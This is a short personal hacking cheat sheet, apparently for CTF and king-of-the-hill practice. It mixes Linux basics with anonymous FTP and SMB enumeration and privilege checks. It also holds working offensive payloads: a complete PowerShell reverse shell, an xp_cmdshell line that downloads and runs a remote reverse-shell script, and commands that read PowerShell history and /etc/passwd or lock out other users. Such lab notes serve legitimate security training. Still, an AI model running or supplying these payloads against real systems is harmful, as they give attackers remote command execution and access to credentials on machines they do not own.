📑 A hacking cheat sheet to help you cover all the basic needs
ps: i'll be updating this cheat sheet every week
sftp user@remoteip
sftp > put file
that's all we need to transfer files from local machine to remote servers as easy as possible
tar -xvf archive.tar
used to exctrat files commonly present in CTFs programs
sha256sum <filename>
ps: we can compare the checksum with the sums file (in case you download it) using -c flag
<code here> 2>/dev/null
# /dev/null stands for null device on linux system, it operates just like a black hole,
# throwing all outputs over there
>
operator stands for redirection
2
stands for error files
that's because all linux commands generates three main files associated with it
0 = standard input
1 = standard output
2 = standard error
So that's why 2>/dev/null is used to drop errors inside the Linux system's black hole.
sudo kill <pid>
ssh <remoteip> -l <username> -D 127.0.0.1:1080
# -D enables socks proxy binding our machine's traffic with the remote one
We can use it along Burp Suite to forward all the VPS's traffic through our local machine using the burp's proxy on the local browser at the same time
ps: here you will need to configure burp as well
ftp <target ip address>
username: anonymous
password: [enter key]
# connects to the target listing all the shared documents
smbclient -N -L \\\\target ip\\ # -N supress the password prompt
smbclient -N \\\\target ip\\openshares
get <file> # downloads the file
more <file> # outputs the content file without the needing to download
# in our local machine
sudo -l # checks which commands we can execute on the system
id # checks users permissions
find / -group <groupname> 2>/dev//null # to find a specific group name
python -c 'import pty; pty.spawn("/bin/bash")'
# here pty module let's us spawn a pseudo terminal
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
// execute the xp_cmd command bellow on the compromised target system
// on a xp_cmdshell environment
xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.16.139/powershell_reverse_shell.ps1\");"
type C:\Users\<groupname>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
useful when practicing KOTH / Battlegrounds
chsh -s /bin/rbash <username>
rm /home/username/.bashrc
cut -f1 -d: /etc/passwd
Useful for identifying attackers on the same machine | we can track all ssh sessions including meterpreter access
ps -aef --forest
last -aiF